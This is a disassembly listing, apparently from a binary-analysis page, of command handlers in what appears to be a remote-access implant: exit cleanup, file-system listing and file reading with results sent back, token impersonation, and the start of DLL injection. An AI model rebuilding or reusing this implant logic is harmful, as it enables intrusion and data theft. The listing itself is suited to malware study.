Similarity

14000aa10
14000aa10CommandExit:
14000aa10push rbp
14000aa11lea r9, [rip+0x1ca61]
14000aa18mov r8l, 3241
14000aa1elea rdx, [rip+0x21b6b]
14000aa25mov rbp, rsp
14000aa28push r15
14000aa2apush r14
14000aa2cpush r13
14000aa2epush r12
14000aa30push rdi
14000aa31push rsi
14000aa32push rbx
14000aa33and rsp, -16
14000aa37sub rsp, 1312
14000aa3emov [rbp+16], rcx
14000aa42lea rcx, [rip+0x1b5bf]
14000aa49call printf
14000aa4elea rdi, [rsp+80]
14000aa53xor eax, eax
14000aa55xor r10l, r10l
14000aa58mov ecx, 308
14000aa5dcmp [rbp+16], 0
14000aa62mov [rsp+64], r10
14000aa67rep stosd [rdi], eax
14000aa69mov rbx, [rip+0x21900]
14000aa70lea rax, [rsp+80]
14000aa75mov [rsp+72], r10
14000aa7amov [rsp+60], 1
14000aa82mov [rsp+48], rax
14000aa87mov r15, [rbx+2302]
14000aa8emov r14, [rbx+2326]
14000aa95mov r13, [rbx+2310]
14000aa9cmov r12, [rbx+2318]
14000aaa3mov rsi, [rbx+2294]
14000aaaaje 0x14000aae1
14000aaacmov ecx, 92
14000aab1call PackageCreate
14000aab6mov rcx, [rbp+16]
14000aabamov rdi, rax
14000aabdcall ParserGetInt32
14000aac2mov rcx, rdi
14000aac5mov edx, eax
14000aac7mov [rsp+60], eax
14000aacbcall PackageAddInt32
14000aad0mov rcx, rdi
14000aad3call PackageTransmit
14000aad8xor edx, edx
14000aadaxor ecx, ecx
14000aadccall PackageTransmitAll
14000aae1
14000aae1loc_14000aae1:
14000aae1test r15, r15
14000aae4jne 0x14000aaee
14000aae6mov r15l, 56
14000aaecjmp 0x14000ab45
14000aaee
14000aaeeloc_14000aaee:
14000aaeemov ecx, [r15+4]
14000aaf2mov r15, [r15+32]
14000aaf6call JobKill
14000aafbjmp 0x14000aae1
14000aafd
14000aafdloc_14000aafd:
14000aafdmov rax, [r14+48]
14000ab01mov rcx, [r14+8]
14000ab05mov [rsp+40], rax
14000ab0atest rcx, rcx
14000ab0dje 0x14000ab1c
14000ab0fcall [rbx+1908]
14000ab15xor r9l, r9l
14000ab18mov [r14+8], r9
14000ab1c
14000ab1cloc_14000ab1c:
14000ab1cmov rdi, r14
14000ab1fmov rcx, r15
14000ab22xor eax, eax
14000ab24rep stosb [rdi], al
14000ab26mov rax, [rbx+2230]
14000ab2dmov r8, r14
14000ab30xor edx, edx
14000ab32mov rax, [rax+96]
14000ab36mov rcx, [rax+48]
14000ab3acall [rbx+332]
14000ab40mov r14, [rsp+40]
14000ab45
14000ab45loc_14000ab45:
14000ab45test r14, r14
14000ab48jne 0x14000aafd
14000ab4a
14000ab4aloc_14000ab4a:
14000ab4atest r13, r13
14000ab4dje 0x14000ab61
14000ab4fmov rdi, [r13+48]
14000ab53mov ecx, [r13]
14000ab57call DownloadRemove
14000ab5cmov r13, rdi
14000ab5fjmp 0x14000ab4a
14000ab61
14000ab61loc_14000ab61:
14000ab61test r12, r12
14000ab64je 0x14000ab79
14000ab66mov rdi, [r12+40]
14000ab6bmov ecx, [r12]
14000ab6fcall RemoveMemFile
14000ab74mov r12, rdi
14000ab77jmp 0x14000ab61
14000ab79
14000ab79loc_14000ab79:
14000ab79mov r8, [rbx+2250]
14000ab80test r8, r8
14000ab83je 0x14000abaf
14000ab85mov rax, [rbx+2230]
14000ab8cxor edx, edx
14000ab8emov rax, [rax+96]
14000ab92mov rcx, [rax+48]
14000ab96call [rbx+332]
14000ab9cxor ecx, ecx
14000ab9exor r8l, r8l
14000aba1mov [rbx+2250], rcx
14000aba8mov [rbx+2258], r8l
14000abaf
14000abafloc_14000abaf:
14000abafmov rdi, [rbx+28]
14000abb3test rdi, rdi
14000abb6je 0x14000abd0
14000abb8mov rcx, [rbx+36]
14000abbcxor eax, eax
14000abberep stosb [rdi], al
14000abc0mov rcx, [rbx+28]
14000abc4call [rbx+940]
14000abcaxor edx, edx
14000abccmov [rbx+28], rdx
14000abd0
14000abd0loc_14000abd0:
14000abd0test rsi, rsi
14000abd3je 0x14000abe5
14000abd5mov rdi, [rsi+32]
14000abd9mov ecx, [rsi]
14000abdbcall PivotRemove
14000abe0mov rsi, rdi
14000abe3jmp 0x14000abd0
14000abe5
14000abe5loc_14000abe5:
14000abe5xor ecx, ecx
14000abe7call TokenImpersonate
14000abeccall TokenClear
14000abf1cmp [rbx+12], 0
14000abf5je 0x14000abfd
14000abf7call [rbx+1852]
14000abfd
14000abfdloc_14000abfd:
14000abfdmov rcx, [rbx+16]
14000ac01test rcx, rcx
14000ac04je 0x14000ac0c
14000ac06call [rbx+1212]
14000ac0c
14000ac0cloc_14000ac0c:
14000ac0cmov rax, [rbx+44]
14000ac10mov rcx, [rsp+48]
14000ac15mov [rsp+128], 0x10000b
14000ac20mov [rsp+64], rax
14000ac25xor eax, eax
14000ac27mov [rsp+72], rax
14000ac2ccall [rbx+420]
14000ac32mov rax, [rbx+660]
14000ac39mov [rsp+208], -1
14000ac45mov [rsp+272], 32768
14000ac51mov [rsp+328], rax
14000ac59mov rax, [rsp+232]
14000ac61and rax, -4096
14000ac67cmp [rsp+60], 1
14000ac6clea rdx, [rax-4096]
14000ac73mov [rsp+232], rdx
14000ac7blea rdx, [rsp+64]
14000ac80mov [rsp+216], rdx
14000ac88lea rdx, [rsp+72]
14000ac8dmov [rsp+264], rdx
14000ac95jne 0x14000aca0
14000ac97mov rdx, [rbx+364]
14000ac9ejmp 0x14000acae
14000aca0
14000aca0loc_14000aca0:
14000aca0cmp [rsp+60], 2
14000aca5jne 0x14000acb5
14000aca7mov rdx, [rbx+372]
14000acae
14000acaeloc_14000acae:
14000acaemov [rax-4096], rdx
14000acb5
14000acb5loc_14000acb5:
14000acb5mov [rsp+128], 0x10000b
14000acc0mov rcx, [rsp+48]
14000acc5xor edx, edx
14000acc7call [rbx+692]
14000accdlea rsp, [rbp-56]
14000acd1pop rbx
14000acd2pop rsi
14000acd3pop rdi
14000acd4pop r12
14000acd6pop r13
14000acd8pop r14
14000acdapop r15
14000acdcpop rbp
14000acddret
14000aa10

14000acde
14000acde // align 0x10

14000ace0
14000ace0CommandFS:
14000ace0push r15
14000ace2push r14
14000ace4push r13
14000ace6push r12
14000ace8push rbp
14000ace9push rdi
14000aceapush rsi
14000acebpush rbx
14000acecmov rbx, rcx
14000acefmov ecx, 15
14000acf4sub rsp, 1176
14000acfbcall PackageCreate
14000ad00mov rcx, rbx
14000ad03mov [rsp+72], rax
14000ad08call ParserGetInt32
14000ad0dmov rcx, [rsp+72]
14000ad12mov edx, eax
14000ad14mov [rsp+80], eax
14000ad18call PackageAddInt32
14000ad1dmov r9l, [rsp+80]
14000ad22lea eax, [r9-1]
14000ad26cmp eax, 9
14000ad29ja 0x14000b7e1
14000ad2flea rdx, [rip+0x1b90e]
14000ad36movsxd rax, [rdx+4*rax]
14000ad3aadd rax, rdx
14000ad3djmp rax
14000ad3flea r9, [rip+0x1b6f2]
14000ad46mov r8l, 689
14000ad4clea rdx, [rip+0x21e4d]
14000ad53lea rcx, [rip+0x1b2ae]
14000ad5acall printf
14000ad5fmov rcx, rbx
14000ad62call ParserGetBool
14000ad67xor edx, edx
14000ad69mov rcx, rbx
14000ad6cmov [rsp+80], eax
14000ad70call ParserGetWString
14000ad75mov rcx, rbx
14000ad78mov rsi, rax
14000ad7bcall ParserGetBool
14000ad80mov rcx, rbx
14000ad83mov [rsp+84], eax
14000ad87call ParserGetBool
14000ad8cmov rcx, rbx
14000ad8fmov [rsp+88], eax
14000ad93call ParserGetBool
14000ad98mov rcx, rbx
14000ad9bmov [rsp+92], eax
14000ad9fcall ParserGetBool
14000ada4xor edx, edx
14000ada6mov rcx, rbx
14000ada9mov r14l, eax
14000adaccall ParserGetWString
14000adb1xor edx, edx
14000adb3mov rcx, rbx
14000adb6mov rbp, rax
14000adb9call ParserGetWString
14000adbexor edx, edx
14000adc0mov rcx, rbx
14000adc3mov r12, rax
14000adc6call ParserGetWString
14000adcbcmp [rbp], 0
14000add0mov r13, rax
14000add3jne 0x14000add7
14000add5xor ebp, ebp
14000add7
14000add7loc_14000add7:
14000add7cmp [r12], 0
14000adddjne 0x14000ade2
14000addfxor r12l, r12l
14000ade2
14000ade2loc_14000ade2:
14000ade2cmp [r13], 0
14000ade8jne 0x14000aded
14000adeaxor r13l, r13l
14000aded
14000adedloc_14000aded:
14000adedmov r15, [rip+0x2157c]
14000adf4mov edx, 520
14000adf9mov ecx, 64
14000adfecall [r15+932]
14000ae05cmp [rsi], 46
14000ae09mov rbx, rax
14000ae0cjne 0x14000ae9f
14000ae12mov rdx, rax
14000ae15mov ecx, 260
14000ae1acall [r15+996]
14000ae21test eax, eax
14000ae23jne 0x14000ae6d
14000ae25mov rax, [r15+2230]
14000ae2cmov r8l, 727
14000ae32lea rdx, [rip+0x21d67]
14000ae39lea rcx, [rip+0x1b600]
14000ae40mov r9l, [rax+104]
14000ae44call printf
14000ae49test rbx, rbx
14000ae4cje 0x14000b7ff
14000ae52mov rdi, rbx
14000ae55mov ecx, 520
14000ae5axor eax, eax
14000ae5crep stosb [rdi], al
14000ae5emov rcx, rbx
14000ae61call [r15+940]
14000ae68jmp 0x14000b7ff
14000ae6d
14000ae6dloc_14000ae6d:
14000ae6dmov rcx, rbx
14000ae70call StringLengthW
14000ae75lea ecx, [rax-1]
14000ae78mov edx, eax
14000ae7acmp [rbx+2*rcx], 92
14000ae7fje 0x14000ae8c
14000ae81lea edx, [rax+1]
14000ae84mov eax, eax
14000ae86mov [rbx+2*rax], 92
14000ae8c
14000ae8cloc_14000ae8c:
14000ae8cmov eax, edx
14000ae8emov [rbx+2*rax], 42
14000ae94lea eax, [rdx+1]
14000ae97mov [rbx+2*rax], 0
14000ae9djmp 0x14000aea9
14000ae9f
14000ae9floc_14000ae9f:
14000ae9fmov ecx, 130
14000aea4mov rdi, rax
14000aea7rep movsd [rdi], [rsi]
14000aea9
14000aea9loc_14000aea9:
14000aea9mov r9, rbx
14000aeacmov r8l, 743
14000aeb2lea rdx, [rip+0x21ce7]
14000aeb9lea rcx, [rip+0x1b5af]
14000aec0call printf
14000aec5mov [rsp+48], r13
14000aecamov r9l, [rsp+92]
14000aecfmov rcx, rbx
14000aed2mov r8l, [rsp+88]
14000aed7mov edx, [rsp+84]
14000aedbmov [rsp+40], r12
14000aee0mov [rsp+32], rbp
14000aee5call listDir
14000aeeamovzx edx, [rsp+80]
14000aeefmov rcx, [rsp+72]
14000aef4mov rsi, rax
14000aef7call PackageAddBool
14000aefcmov rcx, [rsp+72]
14000af01movzx edx, r14b
14000af05call PackageAddBool
14000af0amov rcx, [rsp+72]
14000af0fmov rdx, rbx
14000af12call PackageAddWString
14000af17xor edx, edx
14000af19mov rcx, [rsp+72]
14000af1etest rsi, rsi
14000af21setne dl
14000af24xor r12l, r12l
14000af27call PackageAddBool
14000af2cmov r13, [rip+0x2143d]
14000af33
14000af33loc_14000af33:
14000af33test rsi, rsi
14000af36je 0x14000b05e
14000af3cmov rcx, [rsp+72]
14000af41mov rdx, rsi
14000af44mov r14l, 576
14000af4acall PackageAddWString
14000af4fmov edx, [rsi+536]
14000af55mov rcx, [rsp+72]
14000af5acall PackageAddInt32
14000af5fmov edx, [rsi+540]
14000af65mov rcx, [rsp+72]
14000af6acall PackageAddInt32
14000af6fmov rdx, [rsi+544]
14000af76mov rcx, [rsp+72]
14000af7bcall PackageAddInt64
14000af80mov rbp, [rsi+528]
14000af87
14000af87loc_14000af87:
14000af87test rbp, rbp
14000af8aje 0x14000b038
14000af90mov rcx, [rsp+72]
14000af95mov rdx, rbp
14000af98mov rdi, rbp
14000af9bcall PackageAddWString
14000afa0movzx edx, [rbp+556]
14000afa7mov rcx, [rsp+72]
14000afaccall PackageAddBool
14000afb1mov rdx, [rbp+560]
14000afb8mov rcx, [rsp+72]
14000afbdcall PackageAddInt64
14000afc2movzx edx, [rbp+528]
14000afc9mov rcx, [rsp+72]
14000afcecall PackageAddInt32
14000afd3movzx edx, [rbp+524]
14000afdamov rcx, [rsp+72]
14000afdfcall PackageAddInt32
14000afe4movzx edx, [rbp+522]
14000afebmov rcx, [rsp+72]
14000aff0call PackageAddInt32
14000aff5movzx edx, [rbp+548]
14000affcmov rcx, [rsp+72]
14000b001call PackageAddInt32
14000b006mov rcx, [rsp+72]
14000b00bmovzx edx, [rbp+546]
14000b012call PackageAddInt32
14000b017mov r15, [rbp+568]
14000b01emov rcx, r14
14000b021mov eax, r12l
14000b024rep stosb [rdi], al
14000b026mov rcx, rbp
14000b029mov rbp, r15
14000b02ccall [r13+940]
14000b033jmp 0x14000af87
14000b038
14000b038loc_14000b038:
14000b038mov rbp, [rsi+552]
14000b03fmov rdi, rsi
14000b042mov ecx, 560
14000b047mov eax, r12l
14000b04arep stosb [rdi], al
14000b04cmov rcx, rsi
14000b04fmov rsi, rbp
14000b052call [r13+940]
14000b059jmp 0x14000af33
14000b05e
14000b05eloc_14000b05e:
14000b05etest rbx, rbx
14000b061je 0x14000b7ff
14000b067mov rdi, rbx
14000b06amov ecx, 520
14000b06fxor eax, eax
14000b071rep stosb [rdi], al
14000b073mov rcx, rbx
14000b076jmp 0x14000b7d2
14000b07blea rbp, [rip+0x1af86]
14000b082xor edi, edi
14000b084xor r12l, r12l
14000b087xor r13l, r13l
14000b08alea r9, [rip+0x1b3f9]
14000b091mov r8l, 786
14000b097mov rcx, rbp
14000b09axor r14l, r14l
14000b09dlea rdx, [rip+0x21afc]
14000b0a4call printf
14000b0a9xor eax, eax
14000b0abmov [rsp+112], rdi
14000b0b0mov ecx, 260
14000b0b5mov [rsp+120], rdi
14000b0balea rdi, [rsp+128]
14000b0c2lea rdx, [rsp+120]
14000b0c7rep stosd [rdi], eax
14000b0c9mov rcx, rbx
14000b0ccmov [rsp+104], r12
14000b0d1lea r12, [rsp+128]
14000b0d9call ParserGetBytes
14000b0demov rbx, [rip+0x2128b]
14000b0e5mov rsi, rax
14000b0e8mov eax, [rsp+120]
14000b0ecmov rdx, [rbx+2230]
14000b0f3lea r8, [rax+2]
14000b0f7mov rdx, [rdx+96]
14000b0fbmov rcx, [rdx+48]
14000b0ffmov edx, 8
14000b104call [rbx+316]
14000b10amov ecx, [rsp+120]
14000b10emov r8l, 802
14000b114lea rdx, [rip+0x21a85]
14000b11bmov [rsp+112], rax
14000b120mov rdi, rax
14000b123rep movsb [rdi], [rsi]
14000b125lea rcx, [rip+0x1b36b]
14000b12cmov r9, [rsp+112]
14000b131call printf
14000b136xor r9l, r9l
14000b139xor r8l, r8l
14000b13cmov [rsp+48], r13
14000b141mov [rsp+40], r14l
14000b146mov rcx, [rsp+112]
14000b14bmov edx, 0xffffffff80000000
14000b150mov [rsp+32], 3
14000b158call [rbx+812]
14000b15elea r9, [rip+0x1b353]
14000b165mov r8l, 807
14000b16bmov rsi, rax
14000b16elea rax, [rax-1]
14000b172cmp rax, -3
14000b176ja 0x14000b1d1
14000b178xor r9l, r9l
14000b17bmov rcx, [rsp+112]
14000b180mov r8, r12
14000b183mov edx, 520
14000b188call [rbx+820]
14000b18emov [rsp+32], r12
14000b193lea rdx, [rip+0x21a06]
14000b19alea rcx, [rip+0x1b32b]
14000b1a1movzx r9l, ax
14000b1a5mov r8l, 816
14000b1abmov edi, eax
14000b1adcall printf
14000b1b2lea rdx, [rsp+104]
14000b1b7mov rcx, rsi
14000b1bacall [rbx+836]
14000b1c0test eax, eax
14000b1c2jne 0x14000b1f8
14000b1c4lea r9, [rip+0x1b32b]
14000b1cbmov r8l, 820
14000b1d1
14000b1d1loc_14000b1d1:
14000b1d1lea rdx, [rip+0x219c8]
14000b1d8mov rcx, rbp
14000b1dbxor esi, esi
14000b1ddcall printf
14000b1e2mov rax, [rbx+2230]
14000b1e9mov ecx, 1
14000b1eemov edx, [rax+104]
14000b1f1call PackageTransmitError
14000b1f6jmp 0x14000b24b
14000b1f8
14000b1f8loc_14000b1f8:
14000b1f8mov rdx, [rsp+104]
14000b1fdmov rcx, rsi
14000b200call DownloadAdd
14000b205mov rcx, [rsp+72]
14000b20axor edx, edx
14000b20cmov rsi, rax
14000b20fcall PackageAddInt32
14000b214mov edx, [rsi]
14000b216mov rcx, [rsp+72]
14000b21bcall PackageAddInt32
14000b220mov rdx, [rsp+104]
14000b225mov rcx, [rsp+72]
14000b22acall PackageAddInt64
14000b22fmov rdx, r12
14000b232test di, di
14000b235jne 0x14000b23c
14000b237mov rdx, [rsp+112]
14000b23c
14000b23cloc_14000b23c:
14000b23cmov rcx, [rsp+72]
14000b241mov esi, 1
14000b246call PackageAddWString
14000b24b
14000b24bloc_14000b24b:
14000b24blea r9, [rip+0x1b2ba]
14000b252mov r8l, 859
14000b258lea rdx, [rip+0x21941]
14000b25fmov rcx, rbp
14000b262call printf
14000b267mov rdi, [rsp+112]
14000b26ctest rdi, rdi
14000b26fje 0x14000b295
14000b271mov ecx, [rsp+120]
14000b275xor eax, eax
14000b277rep stosb [rdi], al
14000b279mov rax, [rbx+2230]
14000b280mov r8, [rsp+112]
14000b285xor edx, edx
14000b287mov rax, [rax+96]
14000b28bmov rcx, [rax+48]
14000b28fcall [rbx+332]
14000b295
14000b295loc_14000b295:
14000b295test esi, esi
14000b297jne 0x14000b7ff
14000b29djmp 0x14000b81c
14000b2a2lea rdi, [rip+0x1ad5f]
14000b2a9lea r9, [rip+0x1b26c]
14000b2b0mov r8l, 874
14000b2b6xor esi, esi
14000b2b8lea rdx, [rip+0x218e1]
14000b2bfmov rcx, rdi
14000b2c2call printf
14000b2c7lea rdx, [rsp+112]
14000b2ccmov rcx, rbx
14000b2cfmov [rsp+112], esi
14000b2d3mov [rsp+128], esi
14000b2dacall ParserGetWString
14000b2dfmov rcx, rbx
14000b2e2mov rsi, rax
14000b2e5call ParserGetInt32
14000b2eamov ecx, eax
14000b2ecmov [rsp+80], eax
14000b2f0call GetMemFile
14000b2f5mov r9l, [rsp+80]
14000b2fatest rax, rax
14000b2fdje 0x14000b389
14000b303cmp [rax+32], 0
14000b307je 0x14000b373
14000b309mov r14, [rax+8]
14000b30dmov r12, [rax+24]
14000b311mov [rsp+32], rsi
14000b316xor ebx, ebx
14000b318mov r8l, 906
14000b31elea rdx, [rip+0x2187b]
14000b325lea rcx, [rip+0x1b1fb]
14000b32cmov r9l, r14l
14000b32fcall printf
14000b334mov [rsp+48], rbx
14000b339xor r9l, r9l
14000b33cxor r8l, r8l
14000b33fmov rbp, [rip+0x2102a]
14000b346mov [rsp+40], 128
14000b34emov edx, 0x40000000
14000b353mov rcx, rsi
14000b356mov [rsp+32], 1
14000b35ecall [rbp+812]
14000b364mov rbx, rax
14000b367lea rax, [rax-1]
14000b36bcmp rax, -3
14000b36fjbe 0x14000b3e2
14000b371jmp 0x14000b3a7
14000b373
14000b373loc_14000b373:
14000b373mov r8l, 895
14000b379lea rdx, [rip+0x21820]
14000b380lea rcx, [rip+0x1b1c5]
14000b387jmp 0x14000b39d
14000b389
14000b389loc_14000b389:
14000b389mov r8l, 901
14000b38flea rdx, [rip+0x2180a]
14000b396lea rcx, [rip+0x1b1df]
14000b39d
14000b39dloc_14000b39d:
14000b39dcall printf
14000b3a2jmp 0x14000b81c
14000b3a7
14000b3a7loc_14000b3a7:
14000b3a7lea rdx, [rip+0x217f2]
14000b3aemov rcx, rdi
14000b3b1lea r9, [rip+0x1b100]
14000b3b8mov r8l, 911
14000b3becall printf
14000b3c3mov rax, [rbp+2230]
14000b3camov ecx, 1
14000b3cfmov edx, [rax+104]
14000b3d2call PackageTransmitError
14000b3d7test rbx, rbx
14000b3daje 0x14000b81c
14000b3e0jmp 0x14000b45e
14000b3e2
14000b3e2loc_14000b3e2:
14000b3e2xor r11l, r11l
14000b3e5mov r8l, r14l
14000b3e8mov rdx, r12
14000b3ebmov rcx, rbx
14000b3eemov [rsp+32], r11
14000b3f3lea r9, [rsp+128]
14000b3fbcall [rbp+876]
14000b401test eax, eax
14000b403jne 0x14000b437
14000b405mov rcx, rdi
14000b408lea r9, [rip+0x1b195]
14000b40fmov r8l, 919
14000b415lea rdx, [rip+0x21784]
14000b41ccall printf
14000b421mov rax, [rbp+2230]
14000b428mov ecx, 1
14000b42dmov edx, [rax+104]
14000b430call PackageTransmitError
14000b435jmp 0x14000b45e
14000b437
14000b437loc_14000b437:
14000b437mov rcx, [rsp+72]
14000b43cmov edx, r14l
14000b43fcall PackageAddInt32
14000b444mov rcx, [rsp+72]
14000b449mov rdx, rsi
14000b44ccall PackageAddWString
14000b451mov rcx, rbx
14000b454call SysNtClose
14000b459jmp 0x14000b7ff
14000b45e
14000b45eloc_14000b45e:
14000b45emov rcx, rbx
14000b461call SysNtClose
14000b466jmp 0x14000b81c
14000b46blea r9, [rip+0x1b144]
14000b472mov r8l, 941
14000b478lea rdx, [rip+0x21721]
14000b47flea rcx, [rip+0x1ab82]
14000b486call printf
14000b48bxor r10l, r10l
14000b48emov rcx, rbx
14000b491lea rdx, [rsp+128]
14000b499mov [rsp+128], r10l
14000b4a1call ParserGetWString
14000b4a6mov rsi, [rip+0x20ec3]
14000b4admov rbx, rax
14000b4b0mov rcx, rax
14000b4b3call [rsi+1092]
14000b4b9jmp 0x14000b594
14000b4bemov r8l, 956
14000b4c4lea r9, [rip+0x1b0f2]
14000b4cblea rdx, [rip+0x216ce]
14000b4d2lea rcx, [rip+0x1ab2f]
14000b4d9call printf
14000b4dexor r9l, r9l
14000b4e1mov rcx, rbx
14000b4e4lea rdx, [rsp+128]
14000b4ecmov [rsp+128], r9l
14000b4f4call ParserGetWString
14000b4f9mov rsi, [rip+0x20e70]
14000b500mov rbx, rax
14000b503mov rcx, rax
14000b506call [rsi+1060]
14000b50cmov rcx, rbx
14000b50fcmp eax, -1
14000b512je 0x14000b529
14000b514test al, 16
14000b516je 0x14000b529
14000b518call [rsi+1028]
14000b51emov edx, 1
14000b523test eax, eax
14000b525jne 0x14000b535
14000b527jmp 0x14000b59c
14000b529
14000b529loc_14000b529:
14000b529call [rsi+1020]
14000b52fxor edx, edx
14000b531test eax, eax
14000b533je 0x14000b59c
14000b535
14000b535loc_14000b535:
14000b535mov rcx, [rsp+72]
14000b53acall PackageAddInt32
14000b53fjmp 0x14000b665
14000b544lea r9, [rip+0x1b07d]
14000b54bmov r8l, 986
14000b551lea rdx, [rip+0x21648]
14000b558lea rcx, [rip+0x1aaa9]
14000b55fcall printf
14000b564mov rcx, rbx
14000b567xor r8l, r8l
14000b56alea rdx, [rsp+128]
14000b572mov [rsp+128], r8l
14000b57acall ParserGetWString
14000b57fmov rsi, [rip+0x20dea]
14000b586xor edx, edx
14000b588mov rbx, rax
14000b58bmov rcx, rax
14000b58ecall [rsi+1036]
14000b594
14000b594loc_14000b594:
14000b594test eax, eax
14000b596jne 0x14000b665
14000b59c
14000b59cloc_14000b59c:
14000b59cmov rax, [rsi+2230]
14000b5a3jmp 0x14000b63c
14000b5a8lea r9, [rip+0x1b023]
14000b5afmov r8l, 1002
14000b5b5lea rdx, [rip+0x215e4]
14000b5bclea rcx, [rip+0x1aa45]
14000b5c3call printf
14000b5c8xor ecx, ecx
14000b5calea rdx, [rsp+112]
14000b5cfmov [rsp+112], ecx
14000b5d3mov [rsp+128], ecx
14000b5damov rcx, rbx
14000b5ddcall ParserGetWString
14000b5e2mov rcx, rbx
14000b5e5lea rdx, [rsp+128]
14000b5edmov rsi, rax
14000b5f0call ParserGetWString
14000b5f5mov r9, rsi
14000b5f8mov r8l, 1013
14000b5felea rdx, [rip+0x2159b]
14000b605mov [rsp+32], rax
14000b60alea rcx, [rip+0x1afca]
14000b611mov rbx, rax
14000b614call printf
14000b619mov rdx, rbx
14000b61cxor r8l, r8l
14000b61fmov rcx, rsi
14000b622mov rdi, [rip+0x20d47]
14000b629call [rdi+1116]
14000b62fmov edx, eax
14000b631test eax, eax
14000b633jne 0x14000b64e
14000b635mov rax, [rdi+2230]
14000b63c
14000b63cloc_14000b63c:
14000b63cmov edx, [rax+104]
14000b63fmov ecx, 1
14000b644call PackageTransmitError
14000b649jmp 0x14000b81c
14000b64e
14000b64eloc_14000b64e:
14000b64emov rcx, [rsp+72]
14000b653call PackageAddInt32
14000b658mov rcx, [rsp+72]
14000b65dmov rdx, rsi
14000b660call PackageAddWString
14000b665
14000b665loc_14000b665:
14000b665mov rdx, rbx
14000b668jmp 0x14000b6ff
14000b66dlea rdx, [rip+0x2152c]
14000b674lea rcx, [rip+0x1a98d]
14000b67bmov r8l, 1028
14000b681lea r9, [rip+0x1af77]
14000b688lea rdi, [rsp+128]
14000b690call printf
14000b695xor eax, eax
14000b697mov ecx, 260
14000b69cmov rbx, [rip+0x20ccd]
14000b6a3rep stosd [rdi], eax
14000b6a5lea rsi, [rsp+128]
14000b6admov ecx, 520
14000b6b2mov rdx, rsi
14000b6b5call [rbx+996]
14000b6bbtest eax, eax
14000b6bdjne 0x14000b6fc
14000b6bfmov rax, [rbx+2230]
14000b6c6mov r8l, 1034
14000b6cclea rdx, [rip+0x214cd]
14000b6d3lea rcx, [rip+0x1ad66]
14000b6damov r9l, [rax+104]
14000b6decall printf
14000b6e3mov rax, [rbx+2230]
14000b6eamov ecx, 1
14000b6efmov edx, [rax+104]
14000b6f2call PackageTransmitError
14000b6f7jmp 0x14000b7ff
14000b6fc
14000b6fcloc_14000b6fc:
14000b6fcmov rdx, rsi
14000b6ff
14000b6ffloc_14000b6ff:
14000b6ffmov rcx, [rsp+72]
14000b704call PackageAddWString
14000b709jmp 0x14000b7ff
14000b70elea r9, [rip+0x1aef5]
14000b715mov r8l, 1043
14000b71blea rdx, [rip+0x2147e]
14000b722lea rcx, [rip+0x1a8df]
14000b729call printf
14000b72exor eax, eax
14000b730mov rcx, rbx
14000b733lea rdx, [rsp+112]
14000b738mov [rsp+104], eax
14000b73cmov [rsp+112], eax
14000b740call ParserGetWString
14000b745xor edx, edx
14000b747mov r8l, 1051
14000b74dlea rcx, [rip+0x1ad43]
14000b754mov r9, rax
14000b757mov rbx, rax
14000b75amov [rsp+128], rdx
14000b762lea rdx, [rip+0x21437]
14000b769call printf
14000b76elea r8, [rsp+104]
14000b773lea rdx, [rsp+128]
14000b77bmov rcx, rbx
14000b77ecall ReadLocalFile
14000b783mov rcx, [rsp+72]
14000b788mov rdx, rbx
14000b78bmov esi, eax
14000b78dcall PackageAddWString
14000b792mov rcx, [rsp+72]
14000b797mov edx, esi
14000b799call PackageAddInt32
14000b79emov r8l, [rsp+104]
14000b7a3mov rcx, [rsp+72]
14000b7a8mov rdx, [rsp+128]
14000b7b0call PackageAddBytes
14000b7b5mov rdi, [rsp+128]
14000b7bdtest rdi, rdi
14000b7c0je 0x14000b7ff
14000b7c2mov ecx, [rsp+104]
14000b7c6xor eax, eax
14000b7c8rep stosb [rdi], al
14000b7camov rcx, [rsp+128]
14000b7d2
14000b7d2loc_14000b7d2:
14000b7d2mov rax, [rip+0x20b97]
14000b7d9call [rax+940]
14000b7dfjmp 0x14000b7ff
14000b7e1
14000b7e1loc_14000b7e1:
14000b7e1mov [rsp+32], r9l
14000b7e6mov r8l, 1070
14000b7eclea rdx, [rip+0x213ad]
14000b7f3lea rcx, [rip+0x1ae18]
14000b7facall printf
14000b7ff
14000b7ffloc_14000b7ff:
14000b7ffmov rcx, [rsp+72]
14000b804add rsp, 1176
14000b80bpop rbx
14000b80cpop rsi
14000b80dpop rdi
14000b80epop rbp
14000b80fpop r12
14000b811pop r13
14000b813pop r14
14000b815pop r15
14000b817jmp 0x140018b90
14000b81c
14000b81cloc_14000b81c:
14000b81cmov rcx, [rsp+72]
14000b821add rsp, 1176
14000b828pop rbx
14000b829pop rsi
14000b82apop rdi
14000b82bpop rbp
14000b82cpop r12
14000b82epop r13
14000b830pop r14
14000b832pop r15
14000b834jmp 0x140018af0
14000ace0

14000b839
14000b839 // align 0x10

14000b840
14000b840CommandInjectDLL:
14000b840push r13
14000b842push r12
14000b844push rbp
14000b845push rdi
14000b846push rsi
14000b847push rbx
14000b848mov rbx, rcx
14000b84bmov ecx, 22
14000b850sub rsp, 136
14000b857call PackageCreate
14000b85clea rdi, [rsp+80]
14000b861mov ecx, 12
14000b866mov rbp, rax
14000b869xor eax, eax
14000b86bmov [rsp+72], eax
14000b86fmov [rsp+76], eax
14000b873xor eax, eax
14000b875rep stosd [rdi], eax
14000b877mov rcx, rbx
14000b87acall ParserGetInt32
14000b87fmov rcx, rbx
14000b882mov [rsp+126], ax
14000b887call ParserGetInt32
14000b88cmov rcx, rbx
14000b88flea rdx, [rsp+76]
14000b894mov [rsp+92], eax
14000b898call ParserGetBytes
14000b89dmov rcx, rbx
14000b8a0lea rdx, [rsp+72]
14000b8a5mov r12, rax
14000b8a8call ParserGetBytes
14000b8admov rcx, rbx
14000b8b0lea rdx, [rsp+122]
14000b8b5lea rbx, [rip+0x21264]
14000b8bcmov rsi, rax
14000b8bfcall ParserGetBytes
14000b8c4lea r9, [rip+0x1b06a]
14000b8cbmov rdx, rbx
14000b8cemov r8l, 1168
14000b8d4lea rcx, [rip+0x1a72d]
14000b8dbmov [rsp+114], rax
14000b8e0call printf
14000b8e5movsx r9l, [rsp+126]
14000b8ebmov rdx, rbx
14000b8eemov r8l, 1169
14000b8f4lea rcx, [rip+0x1b04b]
14000b8fbcall printf
14000b900mov r9l, [rsp+92]
14000b905mov rdx, rbx
14000b908mov r8l, 1170
14000b90elea rcx, [rip+0x1b050]
14000b915call printf
14000b91amov eax, [rsp+72]
14000b91emov r9, rsi
14000b921mov rdx, rbx
14000b924mov r8l, 1171
14000b92alea rcx, [rip+0x1b053]
14000b931mov [rsp+32], eax
14000b935call printf
14000b93amov eax, [rsp+122]
14000b93emov rdx, rbx
14000b941mov r9, [rsp+114]
